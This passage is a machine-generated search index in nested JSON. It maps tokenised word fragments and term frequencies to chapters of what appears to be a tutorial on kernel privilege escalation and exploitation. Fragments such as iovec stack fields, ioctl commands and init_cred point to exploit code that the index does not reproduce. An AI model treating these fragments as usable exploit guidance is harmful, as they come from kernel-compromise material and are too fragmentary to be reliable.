"docs":{},"m":{"docs":{},"p":{"docs":{},".":{"docs":{},"h":{"docs":{},":":{"1":{"1":{"9":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.002318840579710145}}},"docs":{}},"docs":{}},"docs":{}}}}}}}}}}}}}}}}}}}},"t":{"docs":{},"a":{"docs":{},"s":{"docs":{},"k":{"docs":{},"_":{"docs":{},"w":{"docs":{},"o":{"docs":{},"r":{"docs":{},"k":{"docs":{},".":{"docs":{},"h":{"docs":{},":":{"2":{"2":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}}}}}}}}}}}}}}}}}}},"a":{"docs":{},"s":{"docs":{},"m":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.00463768115942029}}}}}}}}}},"u":{"docs":{},"r":{"docs":{},"r":{"docs":{},"e":{"docs":{},"d":{"docs":{},".":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"o":{"docs":{},"m":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"s":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}},"f":{"docs":{},"o":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},"r":{"docs":{},"m":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}},"a":{"docs":{},"t":{"docs":{},"i":{"docs":{},"o":{"docs":{},"n":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}}}}}}}}}},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0012782275244993609}}},"(":{"docs":{},"\"":{"docs":{},"[":{"docs":{},"+":{"docs":{},"]":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0019602352282273874}}}}},"\\":{"docs":{},"t":{"docs":{},"[":{"docs":{},"*":{"docs":{},"]":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0019602352282273874}}}}}}}}}}},"i":{"docs":{},"t":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}},"i":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0025564550489987218},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0025677603423680455},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}},"a":{"docs":{},"l":{"docs":{},"i":{"docs":{},"z":{"docs":{},"e":{"docs":{},"d":{"docs":{},".":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}}}}}}}},"_":{"docs":{},"c":{"docs":{},"r":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0012782275244993609}},"e":{"docs":{},"d":{"docs":{},".":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}}}}}}},"l":{"docs":{},"o":{"docs":{},"a":{"docs":{},"d":{"docs":{},"_":{"docs":{},"p":{"docs":{},"c":{"docs":{},"t":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}},"i":{"docs":{},"s":{"docs":{},"t":{"docs":{},"_":{"docs":{},"h":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{},"(":{"docs":{},"&":{"docs":{},"e":{"docs":{},"p":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"i":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}}}}}}}}}}}}}}},"t":{"docs":{},"a":{"docs":{},"s":{"docs":{},"k":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"u":{"docs":{},"s":{"docs":{},"e":{"docs":{},"r":{"docs":{},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"p":{"docs":{},"o":{"docs":{},"l":{"docs":{},"l":{"docs":{},"_":{"docs":{},"f":{"docs":{},"u":{"docs":{},"n":{"docs":{},"c":{"docs":{},"p":{"docs":{},"t":{"docs":{},"r":{"docs":{},"(":{"docs":{},"&":{"docs":{},"e":{"docs":{},"p":{"docs":{},"q":{"docs":{},".":{"docs":{},"p":{"docs":{},"t":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}}}}}}}}},"w":{"docs":{},"a":{"docs":{},"i":{"docs":{},"t":{"docs":{},"q":{"docs":{},"u":{"docs":{},"e":{"docs":{},"u":{"docs":{},"e":{"docs":{},"_":{"docs":{},"f":{"docs":{},"u":{"docs":{},"n":{"docs":{},"c":{"docs":{},"_":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},"r":{"docs":{},"y":{"docs":{},"(":{"docs":{},"&":{"docs":{},"p":{"docs":{},"w":{"docs":{},"q":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}}},"h":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{},"(":{"docs":{},"&":{"docs":{},"e":{"docs":{},"p":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}}}}}}}}}}}}}}}}}}},"s":{"docs":{},"t":{"docs":{},"a":{"docs":{},"l":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.010845986984815618}},"l":{"docs":{},"e":{"docs":{},"d":{"docs":{},",":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.004338394793926247}}},".":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}}}}},"n":{"docs":{},"c":{"docs":{},"e":{"docs":{},".":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.004338394793926247}}}},"m":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},"e":{"docs":{},"d":{"docs":{},".":{"docs":{},"h":{"docs":{},":":{"5":{"7":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.002318840579710145}}},"docs":{}},"docs":{}}}}}}}}}}}}},"i":{"docs":{},"d":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}},"p":{"docs":{},"e":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}},"_":{"docs":{},"e":{"docs":{},"x":{"docs":{},"e":{"docs":{},"c":{"docs":{},"v":{"docs":{},"e":{"docs":{},":":{"1":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"docs":{}}}}}}}},"i":{"docs":{},"o":{"docs":{},"w":{"docs":{},"a":{"docs":{},"i":{"docs":{},"t":{"docs":{},":":{"1":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"docs":{}}}}}}}},"u":{"docs":{},"b":{"docs":{},"s":{"docs":{},"a":{"docs":{},"n":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},"d":{"docs":{},"e":{"docs":{},"x":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}},":":{"0":{"docs":{},"x":{"docs":{},"f":{"docs":{},"f":{"docs":{},"f":{"docs":{},"f":{"8":{"8":{"8":{"0":{"4":{"docs":{},"e":{"4":{"8":{"7":{"2":{"docs":{},"a":{"8":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}},"docs":{}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}}}}},"docs":{}}}},"i":{"docs":{},"c":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}},"h":{"docs":{},"e":{"docs":{},"r":{"docs":{},"i":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0012782275244993609}}}}}}},"n":{"docs":{},"e":{"docs":{},"r":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}},"[":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.002898550724637681}}}},"o":{"docs":{},"=":{"1":{"3":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}},"docs":{}},"2":{"1":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928}}},"docs":{}},"docs":{}},"d":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"l":{"docs":{},"i":{"docs":{},"n":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0017118402282453639}}}}},"v":{"docs":{},"e":{"docs":{},"s":{"docs":{},"t":{"docs":{},"i":{"docs":{},"g":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}},"'":{"docs":{},"m":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.004338394793926247},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"d":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.004338394793926247},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},"e":{"docs":{},"a":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}},"m":{"docs":{},"a":{"docs":{},"g":{"docs":{},"e":{"docs":{},",":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}},".":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}}}},"p":{"docs":{},"l":{"docs":{},"e":{"docs":{},"m":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}},"e":{"docs":{},"d":{"docs":{},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0014265335235378032}}}}},"a":{"docs":{},"t":{"docs":{},"i":{"docs":{},"o":{"docs":{},"n":{"docs":{},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}},"i":{"docs":{},"c":{"docs":{},"a":{"docs":{},"t":{"docs":{},"i":{"docs":{},"o":{"docs":{},"n":{"docs":{},"s":{"docs":{},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}},"o":{"docs":{},"r":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}},"_":{"docs":{},"i":{"docs":{},"o":{"docs":{},"v":{"docs":{},"e":{"docs":{},"c":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}},"(":{"docs":{},"i":{"docs":{},"n":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"w":{"docs":{},"r":{"docs":{},"i":{"docs":{},"t":{"docs":{},"e":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}}}}}},"m":{"docs":{},"e":{"docs":{},"d":{"docs":{},"i":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}},"t":{"docs":{},".":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}}},"e":{"docs":{},"m":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0019971469329529245}},"s":{"docs":{},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}},"r":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"'":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0017118402282453639},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.002520302436292355}}},"s":{"docs":{},"e":{"docs":{},"l":{"docs":{},"f":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}},".":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"l":{"docs":{},"_":{"docs":{},"p":{"docs":{},"r":{"docs":{},"e":{"docs":{},"v":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},"o":{"docs":{},"_":{"docs":{},"c":{"docs":{},"o":{"docs":{},"n":{"docs":{},"t":{"docs":{},"e":{"docs":{},"x":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}},"a":{"docs":{},"c":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"c":{"docs":{},"t":{"docs":{},"l":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}},"(":{"docs":{},"f":{"docs":{},"d":{"docs":{},",":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}},"c":{"docs":{},"m":{"docs":{},"d":{"docs":{},"=":{"0":{"docs":{},"x":{"6":{"6":{"1":{"5":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}}}}}}}},"v":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0016802016241949033}},"e":{"docs":{},"c":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.018762251470176423}},")":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"i":{"docs":{},"o":{"docs":{},"v":{"docs":{},"_":{"docs":{},"b":{"docs":{},"a":{"docs":{},"s":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}},"_":{"docs":{},"c":{"docs":{},"o":{"docs":{},"u":{"docs":{},"n":{"docs":{},"t":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}},"w":{"docs":{},"q":{"docs":{},"_":{"docs":{},"i":{"docs":{},"n":{"docs":{},"d":{"docs":{},"e":{"docs":{},"x":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}},"s":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"\\":{"docs":{},"n":{"docs":{},"\"":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}},"t":{"docs":{},"a":{"docs":{},"c":{"docs":{},"k":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"[":{"0":{"docs":{},"]":{"docs":{},".":{"docs":{},"i":{"docs":{},"o":{"docs":{},"v":{"docs":{},"_":{"docs":{},"b":{"docs":{},"a":{"docs":{},"s":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}},"l":{"docs":{},"e":{"docs":{},"n":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}}}}}}},"1":{"0":{"docs":{},"]":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}}},".":{"docs":{},"i":{"docs":{},"o":{"docs":{},"_":{"docs":{},"b":{"docs":{},"a":{"docs":{},"s":{"docs":{},"e":{"docs":{},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}},"v":{"docs":{},"_":{"docs":{},"b":{"docs":{},"a":{"docs":{},"s":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}},"l":{"docs":{},"e":{"docs":{},"n":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0022402688322598714}}}}}}}}}}}},"1":{"docs":{},"]":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357}},".":{"docs":{},"i":{"docs":{},"o":{"docs":{},"v":{"docs":{},"_":{"docs":{},"b":{"docs":{},"a":{"docs":{},"s":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0019602352282273874}}}}},"l":{"docs":{},"e":{"docs":{},"n":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}}}}}}}}}}}},"2":{"docs":{},"]":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},".":{"docs":{},"i":{"docs":{},"o":{"docs":{},"v":{"docs":{},"_":{"docs":{},"b":{"docs":{},"a":{"docs":{},"s":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}},"l":{"docs":{},"e":{"docs":{},"n":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}},"docs":{}},"docs":{},"i":{"docs":{},"o":{"docs":{},"v":{"docs":{},"e":{"docs":{},"c":{"docs":{},"_":{"docs":{},"c":{"docs":{},"o":{"docs":{},"u":{"docs":{},"n":{"docs":{},"t":{"docs":{},"]":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}}},"w":{"docs":{},"q":{"docs":{},"_":{"docs":{},"i":{"docs":{},"n":{"docs":{},"d":{"docs":{},"e":{"docs":{},"x":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.004200504060487258}},"]":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},".":{"docs":{},"i":{"docs":{},"o":{"docs":{},"v":{"docs":{},"_":{"docs":{},"b":{"docs":{},"a":{"docs":{},"s":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}},"l":{"docs":{},"e":{"docs":{},"n":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0016802016241949033}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}},"+":{"docs":{},"+":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"[":{"docs":{},"s":{"docs":{},"e":{"docs":{},"g":{"docs":{},"]":{"docs":{},".":{"docs":{},"i":{"docs":{},"o":{"docs":{},"v":{"docs":{},"_":{"docs":{},"l":{"docs":{},"e":{"docs":{},"n":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}},"_":{"docs":{},"b":{"docs":{},"a":{"docs":{},"s":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357}}}}},"i":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}},"e":{"docs":{},"r":{"docs":{},"_":{"docs":{},"i":{"docs":{},"n":{"docs":{},"i":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"(":{"docs":{},"i":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}},"l":{"docs":{},"e":{"docs":{},"n":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}},"c":{"docs":{},"a":{"docs":{},"r":{"docs":{},"r":{"docs":{},"a":{"docs":{},"y":{"docs":{},"[":{"docs":{},"i":{"docs":{},"o":{"docs":{},"v":{"docs":{},"e":{"docs":{},"c":{"docs":{},"_":{"docs":{},"c":{"docs":{},"o":{"docs":{},"u":{"docs":{},"n":{"docs":{},"t":{"docs":{},"]":{"docs":{},".":{"docs":{},"i":{"docs":{},"o":{"docs":{},"v":{"docs":{},"_":{"docs":{},"l":{"docs":{},"e":{"docs":{},"n":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}}}}}}}}}}}}}}}},"s":{"docs":{},"t":{"docs":{},"a":{"docs":{},"c":{"docs":{},"k":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"[":{"docs":{},"u":{"docs":{},"i":{"docs":{},"o":{"docs":{},"_":{"docs":{},"f":{"docs":{},"a":{"docs":{},"s":{"docs":{},"t":{"docs":{},"i":{"docs":{},"o":{"docs":{},"v":{"docs":{},"]":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}}}}}}}}}},"r":{"docs":{},"q":{"docs":{},"_":{"docs":{},"e":{"docs":{},"v":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},"s":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}},"p":{"docs":{},"c":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}}},"s":{"docs":{},"n":{"docs":{},"'":{"docs":{},"t":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}},"s":{"docs":{},"u":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0016802016241949033}},"e":{"docs":{},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"_":{"docs":{},"d":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}},"p":{"docs":{},"e":{"docs":{},"r":{"docs":{},"m":{"docs":{},"i":{"docs":{},"s":{"docs":{},"s":{"docs":{},"i":{"docs":{},"o":{"docs":{},"n":{"docs":{},"_":{"docs":{},"f":{"docs":{},"a":{"docs":{},"u":{"docs":{},"l":{"docs":{},"t":{"docs":{},"(":{"docs":{},"e":{"docs":{},"s":{"docs":{},"r":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}}}}}}}}}}},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},":":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"g":{"docs":{},"n":{"docs":{},"o":{"docs":{},"r":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213